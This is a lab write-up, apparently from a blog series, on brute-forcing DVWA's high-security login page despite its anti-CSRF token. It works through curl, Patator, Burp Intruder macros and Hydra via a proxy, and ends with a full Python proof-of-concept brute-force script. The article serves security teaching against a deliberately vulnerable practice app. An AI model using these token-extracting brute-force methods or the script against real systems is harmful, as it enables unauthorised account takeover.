Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).
Creating a Session Cookie
This was explained back in the first post for the low level setting. Again, this post will be using the low level posting, and expanding on it. I will not be covering certain parts in depth here, because I already mentioned them in other posts. If a certain area is does not make sense, I strongly suggest you read over the low security post first (and maybe the medium one too).
The cookie command has not changed, plus the target has not changed, which means the output and result will be the same.
123456
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)[root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# sed -i '/security/d' dvwa.cookie[root:~]#
Note, depending on the web server and its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.
Information Gathering
Form HTML Code
First thing we need to do is to figure out how this level is different from both of the ones before it (low and medium). We could use DVWA's in-built function to allow us to look at the PHP source code (which is stored on the server), however, let's try and figure it out ourselves as we would be doing if it was any other black box assessment. Using the same commands as before, let's see what was returned in the initial HTML response that makes up the web form.
Unlike the times before, this is not the same! There is now an extra input field between the <form></form> tags, call user_token! We can highlight this by using diff to compare the low and high levels.
Based on the name (user_token), the field is hidden, and as the value appears to be a MD5 value (due to its length and character range), these are all indications of the value being used for an anti-CSRF (Cross-Site Request Forgery) token. If this is true, it will make the attack slightly more complex (as testing each combination could require a new token), and we will not be able to use certain tools (such as Hydra, unless we permanently have it using a proxy).
CSRF Token Checking
Comparing requests:
Is the value in the hidden field (user_token) static? What happens if we make two normal requests and compare the responses?
So it looks when you request a new page, the web app generates a new token (even more proof it is an anti-CSRF token).
Redirects:
What happens when we try to send a request? Once again we are pretending we do not know any valid credentials to login with (and there is still not a register/sign up page!), so we will just pick values at random, knowing they will fail (user/pass).
The page loads as normal. But what happens if we repeat the last request, re-using the same CSRF token (which now would be invalid)? Are we able to-do a similar trick as we did in the main login screen, where we get a valid session and then kept using it over and over?
12
[root:~]# !curl[root:~]#
The page did not respond the same! Let's dig deeper...
123456789101112131415
[root:~]# curl -s -b 'security=high' -b dvwa.cookie "http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" -iHTTP/1.1 302 Moved Temporarily
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: index.php
Server: Microsoft-IIS/8.0
X-Powered-By: PHP/5.6.0
Date: Fri, 06 Nov 2015 15:58:12 GMT
Content-Length: 132
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]#
Just like before, we are being redirected after submitting, however this time it only happens when the CSRF token is incorrect - not the credentials. Something to keep in mind, would the page we are being redirected to different depending if the login was successful? Now, let's follow the redirect and see what is returned.
12345678910111213
[root:~]# !curl -L | sed -n '/<div class="body_padded/,/<\/div/p' | html2text****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username ]Password:
[********************][Login]CSRF token is incorrect
CSRF token is incorrect
CSRF token is incorrect
[root:~]#
See how we get the message three times? So we are able to send multiple requests, but only show the results when the CSRF token is valid.
We are going to cheat a little here, and see what happens when we make a successful login, and compare it to an invalid one, both with an invalid CSRF token. If there are any differences (e.g. where we are being redirected to, page size, cookies etc.), is the web application checking the credentials even if the CSRF is invalid? If it is, we might be able to use this as a marker to bypass the CSRF function.
Nope. Sending valid credentials does not make a difference (same redirected page, same length, same cookie). Nothing to use as a marker (unlike the login screen ). This means the web application is processing the CSRF token and does not proceed any further.
Invalid token request:
Is there a way to somehow bypass the CSRF check? We already know what happens if we do not send the correct value in the CSRF token, but what happens if the token is blank, if the token field is missing, if the token value contains characters out of its normal range (0-f), or, if the token value is too short/long?
The only other way to try and bypass this protection would be to predict the value. Is the "seed" (the method used to generate the token) weak? Example, what if it was only the timestamp in a MD5? However, I am going to skip doing this, because I know it is a dead end in this case.
All of this means we need to include a unique value in each request during the brute force attack, so we make a GET request before sending the login credentials in another GET request. This in itself will limit what tools we can use (e.g. Hydra v8.1 does not support this - only solution would be to use a Proxy and have it alter Hydra's requests). Plus, due to the nature of the web application being slightly different (e.g. having to be already authenticated at the screen we want to brute force), this is going to make it even more difficult. Example, the version of Patator we have been using (v0.5) does not support this, however v0.7 does! Having to be logged into the web application, means we have to use a fixed session value (PHPSESSID), which will mean we only have one user_token at a time. Using multiple threads, will make multiple GET requests to get a user_token and each request resets the value, thus making the last request the only valid value (so some request would never be valid, even with the correct login details). Single thread attack, once again.
Timings
When doing our CSRF checks, we noticed that the web application response time was not always the same (unlike Medium where it would always take an extra 3 seconds).
12345678910111213141516171819202122
[root:~]# for x in {1..3}; dotime curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > /dev/null
donecurl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 12% cpu 0.064 total
curl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 19% cpu 0.040 total
curl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 15% cpu 0.052 total
[root:~]#[root:~]# for x in {1..10}; douser_token=$(curl -s -b 'security=high' -b dvwa.cookie '192.168.1.44/DVWA/vulnerabilities/brute/'| awk -F 'value=''/user_token/ {print $2}'| cut -d "'" -f2)time curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" > /dev/null
donecurl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 0% cpu 2.055 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 18% cpu 0.043 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 3.056 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.01s system 0% cpu 2.047 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.059 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.043 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 1.060 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.046 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 9% cpu 0.044 total
curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.055 total
[root:~]#
There's a mixture of time delays, between 0-4 seconds. However, due to the "logged in CSRF token" mentioned before we are going to have to be using a single thread - so just make sure the time out value is greater than 4 seconds.
Patator
Patator is able to request a certain URL before trying a combination attempt (using before_urls), and can then extract a certain bit of information (before_egrep) to include it in the attack (e.g. _CSRF_). As already mentioned, having to be already authenticated to web application in order to brute force a form is slightly different. Lucky, Patator v0.7 can also send a header (before_header) to make sure the requests are always as an authenticated user. Note, in the low and medium levels, we were using v0.5.
Patator Documentation
Compared to the low level, the only extra arguments we are now using:
12345
before_urls : comma-separated URLs to query before the main request
before_header : use a custom header in the before_urls request
before_egrep : extract data from the before_urls response to place in the main request
...SNIP...
--max-retries=N skip payload after N retries (default is 4)(-1 for unlimited)
before_urls - this will be the same URL as we are trying to brute force as it contains CSRF value we wish to acquire.
before_header - this will be the same as the header (because we need to be authenticated to being with).
before_egrep - this is where the magic will happen. This extracts the CSRF token value from the page, so we can re-use it in the main request.
We know to use <input type='hidden' name='user_token' value='...' /> due to the information we gathered using cURL.
Patator uses regular expressions (egrep) in order to locate the wanted CSRF value - (\w+).
We will assign the extracted value to the variable _CSRF_ so we can use it in the same matter as the wordlists - &user_token=_CSRF_.
--max-retries - is not really required, just carried over from the medium level.
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null[root:~]#[root:~]# python patator.py http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=5 --max-retries=0 \url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login"\1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \header="Cookie: security=high; PHPSESSID=${SESSIONID}"\before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/"\before_header="Cookie: security=high; PHPSESSID=${SESSIONID}"\before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />"\ -x quit:fgrep!='Username and/or password incorrect'16:12:32 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-11-06 16:12 GMT
16:12:32 patator INFO -
16:12:32 patator INFO - code size:clen time| candidate | num | mesg
16:12:32 patator INFO - -----------------------------------------------------------------------------
16:12:32 patator INFO - 200 10639:5033 0.047 | 123456:root |1| HTTP/1.1 200 OK
16:12:32 patator INFO - 200 10552:5033 0.037 | 123456:admin |2| HTTP/1.1 200 OK
16:12:34 patator INFO - 200 10552:5033 1.051 | 123456:test |3| HTTP/1.1 200 OK
16:12:35 patator INFO - 200 10552:5033 1.050 | 123456:guest |4| HTTP/1.1 200 OK
16:12:36 patator INFO - 200 10552:5033 1.051 | 123456:info |5| HTTP/1.1 200 OK
16:12:37 patator INFO - 200 10552:5033 1.040 | 123456:adm |6| HTTP/1.1 200 OK
16:12:37 patator INFO - 200 10552:5033 0.039 | 123456:mysql |7| HTTP/1.1 200 OK
16:12:40 patator INFO - 200 10552:5033 3.049 | 123456:user |8| HTTP/1.1 200 OK
16:12:44 patator INFO - 200 10552:5033 4.034 | 123456:administrator |9| HTTP/1.1 200 OK
16:12:45 patator INFO - 200 10552:5033 1.056 | 123456:oracle |10| HTTP/1.1 200 OK
16:12:47 patator INFO - 200 10552:5033 2.044 | 123456:ftp |11| HTTP/1.1 200 OK
16:12:50 patator INFO - 200 10552:5033 3.052 | 12345:root |12| HTTP/1.1 200 OK
16:12:53 patator INFO - 200 10552:5033 3.056 | 12345:admin |13| HTTP/1.1 200 OK
16:12:54 patator INFO - 200 10552:5033 0.043 | 12345:test |14| HTTP/1.1 200 OK
16:12:55 patator INFO - 200 10552:5033 1.049 | 12345:guest |15| HTTP/1.1 200 OK
16:12:57 patator INFO - 200 10552:5033 2.046 | 12345:info |16| HTTP/1.1 200 OK
16:12:57 patator INFO - 200 10552:5033 0.040 | 12345:adm |17| HTTP/1.1 200 OK
16:12:58 patator INFO - 200 10552:5033 1.040 | 12345:mysql |18| HTTP/1.1 200 OK
16:12:59 patator INFO - 200 10552:5033 1.046 | 12345:user |19| HTTP/1.1 200 OK
16:13:00 patator INFO - 200 10552:5033 1.072 | 12345:administrator |20| HTTP/1.1 200 OK
16:13:00 patator INFO - 200 10552:5033 0.038 | 12345:oracle |21| HTTP/1.1 200 OK
16:13:03 patator INFO - 200 10552:5033 3.047 | 12345:ftp |22| HTTP/1.1 200 OK
16:13:03 patator INFO - 200 10552:5033 0.035 | 123456789:root |23| HTTP/1.1 200 OK
16:13:05 patator INFO - 200 10552:5033 2.048 | 123456789:admin |24| HTTP/1.1 200 OK
16:13:05 patator INFO - 200 10552:5033 0.035 | 123456789:test |25| HTTP/1.1 200 OK
16:13:08 patator INFO - 200 10552:5033 2.051 | 123456789:guest |26| HTTP/1.1 200 OK
16:13:08 patator INFO - 200 10552:5033 0.038 | 123456789:info |27| HTTP/1.1 200 OK
16:13:12 patator INFO - 200 10552:5033 4.045 | 123456789:adm |28| HTTP/1.1 200 OK
16:13:14 patator INFO - 200 10552:5033 2.052 | 123456789:mysql |29| HTTP/1.1 200 OK
16:13:16 patator INFO - 200 10552:5033 2.043 | 123456789:user |30| HTTP/1.1 200 OK
16:13:16 patator INFO - 200 10552:5033 0.028 | 123456789:administrator |31| HTTP/1.1 200 OK
16:13:17 patator INFO - 200 10552:5033 1.046 | 123456789:oracle |32| HTTP/1.1 200 OK
16:13:17 patator INFO - 200 10552:5033 0.038 | 123456789:ftp |33| HTTP/1.1 200 OK
16:13:18 patator INFO - 200 10552:5033 1.069 | password:root |34| HTTP/1.1 200 OK
16:13:18 patator INFO - 200 10614:5095 0.029 | password:admin |35| HTTP/1.1 200 OK
16:13:22 patator INFO - 200 10552:5033 4.035 | password:test |36| HTTP/1.1 200 OK
16:13:22 patator INFO - Hits/Done/Skip/Fail/Size: 36/36/0/0/43527, Avg: 0 r/s, Time: 0h 0m 50s
16:13:22 patator INFO - To resume execution, pass --resume 36
[root:~]#
Burp Suite
Burp Suite has a proxy tool in-built. Even though it is primarily a commercial tool, there is a "free license" version. The free edition contains a limited amount of features and functions with various limits in place, one of which is a slower "intruder" attack speed.
Burp is mainly a graphical UI, which makes it harder to demonstrate how to use it (mouse clicking vs copying/pasting commands). This section really could benefit from a video, rather than a screenshot gallery....
The first section will quickly load in the valid request, which contains the user_token field we need to automate in each request. The next part will create a macro to automatically extract and use the value. The last part will be the brute force attack itself.
Configure Burp
This is quick and simple. Get to the brute force login page and make a login attempt when hooked inside the proxy.
The first thing we need to-do is set up our web browser (Iceweasel/Firefox) to use Burp's proxy.
IP: 127.0.0.1 (loopback by Burp's default), Port: 8080
Rule Description: DVWA Brute High -> Rule Action -> Add -> Run a macro
Select macro -> Add
Macro Recorder -> Select: GET /DVWA/vulnerabilities/brute/ HTTP/1.1 -> OK
Macro description: Get user_token.
#1 -> Configure item.
Custom parameters locations in response -> Add.
Parameter name: user_token.
Start after expression: user_token' value='.
End at delimiter: ' />
Ok
Ok -> Ok
Enable: Tolerate URL mismatch when matching parameters (use for URL-agnostic CSRF tokens)
Ok
Result
Scope -> Tool Scope -> Only select: Intruder
URL Scope -> Use Suite scope [defined in Target tab]
Ok
We will come back here if we choose to use Hydra later.
Target -> Site map -> 192.168.1.44 -> Right click: Add to scope
Intruder
This is the main brute force attack itself. Due to the free version of Burp, this will be "slow".
First thing, find the request we made back at the start, when we tried to login with the bad credentials.
Right click -> Send to Intruder.
Intruder (tab) -> 2 -> Positions
Attack type: Cluster bomb.
This supports multiple lists (based on the number of fields in scope. Defined by §value§), going through each value one by one in the first wordlist, then when it reaches the end to move to the next value in the next list
Payload Sets -> Payload Sets: 1. Payload type: Simple list
Payload Options [Simple list] -> Load -> /usr/share/seclists/Usernames/top_shortlist.txt -> Open
Payload Sets -> Payload Sets: 2. Payload type: Simple list
Payload Options [Simple list] -> Load -> /usr/share/seclists/Passwords/rockyou-10.txt -> Open
Total requests: 1,012
Intruder (tab) -> 2 -> Options
Attack Results -> Untick: Make unmodified baseline request
Grep - Extract -> Add
Start after expression: <pre><br />.
End at delimiter: </pre>
Ok
Intruder (menu) -> Start attack
This is the warning, informing us we are using the free edition of Burp, as a result, our attack speed will be limited.
Ok
Result
We can see the value which is successful by the <pre><br /> being different, as well as the Length.
Hydra
This is not a complete section, as it expands upon the "Burp Proxy" above. We will be editing values which were created, rather than adding them.
Hydra by itself is unable to perform the attack. When putting Hydra's traffic through a proxy, the proxy can handle the request, altering Hydra's request so Hydra is not aware of the CSRF tokens.
In order to get Hydra to be able to brute force with CSRF tokens, we need to:
In Burp, edit the CSRF macro to run on traffic which is sent via the proxy (see the Burp section above for the guide to create the macro).
Enable "invisible proxy" mode inside of Burp, allowing Hydra to use Burp as a proxy (see low level posting for why).
Create a rule to drop the unnecessary GET requests Hydra creates (see login screen posting for why).
You will need see the Burp Suite section above, which shows how to create this.
Scope -> Tools Scope -> Enable: Proxy (use with cation)
Ok
Enable Invisible Proxy Mode:
Burp -> Proxy -> Options
Proxy Listeners -> Edit: 127.0.0.1 -> Request handling -> Tick: Support invisible proxying (enable only if needed)
Drop unwanted GET requests:
Burp -> Proxy -> Options
Match and Replace -> Add
Type: Request header
Match: GET /DVWA/vulnerabilities/brute/ HTTP/1.0
Replace: < BLANK >
Comment: DVWA Hydra Brute High
Enable: Regex match (Even if we did not use any expression. Oops!)
Ok
Result:
123456789101112131415161718192021222324252627
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080[root:~]#[root:~]# hydra -l admin -P /usr/share/seclists/Passwords/rockyou.txt \ -e ns -F -u -t 1 -w 5 -v -V 192.168.1.44 http-get-form \"/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&user_token=123&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=high; PHPSESSID=${SESSIONID}"Hydra v8.1 (c)2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-06 23:24:29
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224131 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done[ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 14344400[child 0][ATTEMPT] target 192.168.1.44 - login "admin" - pass "" - 2 of 14344400[child 0][ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456" - 3 of 14344400[child 0][ATTEMPT] target 192.168.1.44 - login "admin" - pass "12345" - 4 of 14344400[child 0][ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456789" - 5 of 14344400[child 0][ATTEMPT] target 192.168.1.44 - login "admin" - pass "password" - 6 of 14344400[child 0][80][http-get-form] host: 192.168.1.44 login: admin password: password
[STATUS] attack finished for 192.168.1.44 (valid pair found)1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-11-06 23:24:42
[root:~]#
Note, we do not see the result of the macro being used. We are only seeing the values before Burp alters the traffic, which is why the user_token appears to be an incorrect value each time. The attack was successful, which can be seen in Burp by the length column, and response tab, as well as in Hydra's output window.
Also note, the speed of the traffic in Burp's proxy is not filtered, unlike Burp's intruder function when using the free license.
Proof of Concept Scripts
Here are two Proof of Concept (PoC) scripts (one in Bash and the other is Python). They are really rough templates, and not stable tools to be keep on using. They are not meant to be "fancy" (e.g. no timeouts or no multi-threading). However, they can be fully customised in the attack. We cannot benchmark these, because of the random cool down times when there is a failed login attempt.
#!/usr/bin/python# Quick PoC template for HTTP GET form brute force with CSRF token# Target: DVWA v1.10 (Brute Force - High)# Date: 2015-11-07# Author: g0tmi1k ~ https://blog.g0tmi1k.com/# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/importrequestsimportsysimportrefromBeautifulSoupimportBeautifulSoup# Variablestarget='http://192.168.1.44/DVWA'sec_level='high'dvwa_user='admin'dvwa_pass='password'user_list='/usr/share/seclists/Usernames/top_shortlist.txt'pass_list='/usr/share/seclists/Passwords/rockyou.txt'# Value to look for in response header (Whitelisting)success='Welcome to the password protected area'# Get the anti-CSRF tokendefcsrf_token(path,cookie=''):try:# Make the request to the URL#print "\n[i] URL: %s/%s" % (target, path)r=requests.get("{0}/{1}".format(target,path),cookies=cookie,allow_redirects=False)except:# Feedback for the user (there was an error) & Stop execution of our requestprint"\n[!] csrf_token: Failed to connect (URL: %s/%s).\n[i] Quitting."%(target,path)sys.exit(-1)# Extract anti-CSRF tokensoup=BeautifulSoup(r.text)user_token=soup("input",{"name":"user_token"})[0]["value"]#print "[i] user_token: %s" % user_token# Extract session informationsession_id=re.match("PHPSESSID=(.*?);",r.headers["set-cookie"])session_id=session_id.group(1)#print "[i] session_id: %s" % session_idreturnsession_id,user_token# Login to DVWA coredefdvwa_login(session_id,user_token):# POST datadata={"username":dvwa_user,"password":dvwa_pass,"user_token":user_token,"Login":"Login"}# Cookie datacookie={"PHPSESSID":session_id,"security":sec_level}try:# Make the request to the URLprint"\n[i] URL: %s/login.php"%targetprint"[i] Data: %s"%dataprint"[i] Cookie: %s"%cookier=requests.post("{0}/login.php".format(target),data=data,cookies=cookie,allow_redirects=False)except:# Feedback for the user (there was an error) & Stop execution of our requestprint"\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting."%(target)sys.exit(-1)# Wasn't it a redirect?ifr.status_code!=301andr.status_code!=302:# Feedback for the user (there was an error again) & Stop execution of our requestprint"\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting."%(r.status_code)sys.exit(-1)# Did we log in successfully?ifr.headers["Location"]!='index.php':# Feedback for the user (there was an error) & Stop execution of our requestprint"\n\n[!] dvwa_login: Didn't login (Header: %s user: %s password: %s user_token: %s session_id: %s).\n[i] Quitting."%(r.headers["Location"],dvwa_user,dvwa_pass,user_token,session_id)sys.exit(-1)# If we got to here, everything should be okay!print"\n[i] Logged in! (%s/%s)\n"%(dvwa_user,dvwa_pass)returnTrue# Make the request to-do the brute forcedefurl_request(username,password,user_token,session_id):# GET datadata={"username":username,"password":password,"user_token":user_token,"Login":"Login"}# Cookie datacookie={"PHPSESSID":session_id,"security":sec_level}try:# Make the request to the URL#print "\n[i] URL: %s/vulnerabilities/brute/" % target#print "[i] Data: %s" % data#print "[i] Cookie: %s" % cookier=requests.get("{0}/vulnerabilities/brute/".format(target),params=data,cookies=cookie,allow_redirects=False)except:# Feedback for the user (there was an error) & Stop execution of our requestprint"\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting."%(target)sys.exit(-1)# Was it a ok response?ifr.status_code!=200:# Feedback for the user (there was an error again) & Stop execution of our requestprint"\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting."%(r.status_code)sys.exit(-1)# We have what we needreturnr.text# Main brute force loopdefbrute_force(session_id):# Load in wordlists fileswithopen(pass_list)aspassword:password=password.readlines()withopen(user_list)asusername:username=username.readlines()# Counteri=0# Loop aroundforPASSinpassword:forUSERinusername:USER=USER.rstrip('\n')PASS=PASS.rstrip('\n')# Increase counteri+=1# Feedback for the userprint("[i] Try %s: %s // %s"%(i,USER,PASS))# Get CSRF tokensession_id,user_token=csrf_token('/vulnerabilities/brute/',{"PHPSESSID":session_id})# Make requestattempt=url_request(USER,PASS,user_token,session_id)#print attempt# Check responseifsuccessinattempt:print("\n\n[i] Found!")print"[i] Username: %s"%(USER)print"[i] Password: %s"%(PASS)returnTruereturnFalse# Get initial CSRF tokensession_id,user_token=csrf_token('login.php')# Login to web appdvwa_login(session_id,user_token)# Start brute forcingbrute_force(session_id)
Summary
This attack is mix between the low level and the main login screen. Anti Cross-Site Request Forgery (CSRF) tokens (a value which is random on each request) should not be used for protection against brute force attacks.